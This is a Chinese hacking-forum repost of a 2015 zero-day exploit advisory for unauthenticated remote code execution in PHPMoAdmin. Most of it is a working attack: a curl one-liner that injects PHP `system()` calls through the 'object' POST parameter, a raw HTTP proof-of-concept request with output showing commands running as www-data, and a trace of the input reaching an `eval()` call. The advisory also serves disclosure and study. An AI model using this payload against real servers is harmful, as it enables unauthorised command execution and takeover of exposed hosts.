搜索
查看: 627|回复: 0

PHPMoAdmin Unauthorized Remote Code Execution (0-Day)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-3-4 22:42:57 | 显示全部楼层 |阅读模式
  1. ######################################################################
  2. #  _     ___  _   _  ____  ____    _  _____
  3. #  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
  4. #  | |  | | | |  \| | |  _| |     / _ \ | |
  5. #  | |__| |_| | |\  | |_| | |___ / ___ \| |
  6. #  |_____\___/|_| \_|\____|\____/_/   \_\_|
  7. #
  8. # PHPMoAdmin Unauthorized Remote Code Execution (0-Day)
  9. # Website : http://www.phpmoadmin.com/
  10. # Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio
  11. # Release dates : March 3, 2015
  12. #
  13. # Special Thanks to 2600 Thailand group
  14. # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
  15. #
  16. ########################################################################

  17. [+] Description
  18. ============================================================
  19. PHPMoAdmin is a MongoDB administration tool for PHP built on a
  20. stripped-down version of the Vork high-performance framework.

  21. [+] Exploit
  22. ============================================================
  23. Someone was trying to sale this shit for 3000usd lolz

  24. $ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit"

  25. [+] Proof-of-Concept
  26. ============================================================
  27. PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

  28. POST /moadmin/moadmin.php HTTP/1.1
  29. Host: 192.168.33.10
  30. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
  31. Gecko/20100101 Firefox/36.0
  32. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  33. Accept-Language: en-US,en;q=0.5
  34. Accept-Encoding: gzip, deflate
  35. DNT: 1
  36. Connection: keep-alive
  37. Pragma: no-cache
  38. Cache-Control: no-cache
  39. Content-Type: application/x-www-form-urlencoded
  40. Content-Length: 34

  41. object=1;system('id;ls -lha');exit

  42. HTTP/1.1 200 OK
  43. Date: Tue, 03 Mar 2015 16:57:40 GMT
  44. Server: Apache/2.4.7 (Ubuntu)
  45. Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
  46. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  47. Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
  48. pre-check=0
  49. Pragma: no-cache
  50. Vary: Accept-Encoding
  51. Content-Length: 223
  52. Keep-Alive: timeout=5, max=100
  53. Connection: Keep-Alive
  54. Content-Type: text/html

  55. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  56. total 116K
  57. drwxr-xr-x 1 longcat longcat  102 Mar  3 16:55 .
  58. drwxr-xr-x 6 root    root    4.0K Mar  3 16:17 ..
  59. -rw-rw-r-- 1 longcat longcat 112K Mar  3 16:55 moadmin.php

  60. [+] Vulnerability Analysis
  61. ============================================================
  62. Filename: moadmin.php
  63. 1. create new moadminComponent object
  64. 1977: $mo = new moadminComponent;

  65. 2. if the http-post parameter 'object' is set
  66. 738: class moadminComponent {
  67. ...
  68. 762: public function __construct() {
  69. ...
  70. 786: if (isset($_POST['object'])) {
  71. 787:    if (self::$model->saveObject($_GET['collection'],
  72. $_POST['object'])) {
  73. ...

  74. 3. evaluate the value of 'object' as PHP code
  75. 692: public function saveObject($collection, $obj) {
  76. 693:    eval('$obj=' . $obj . ';'); //cast from string to array
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表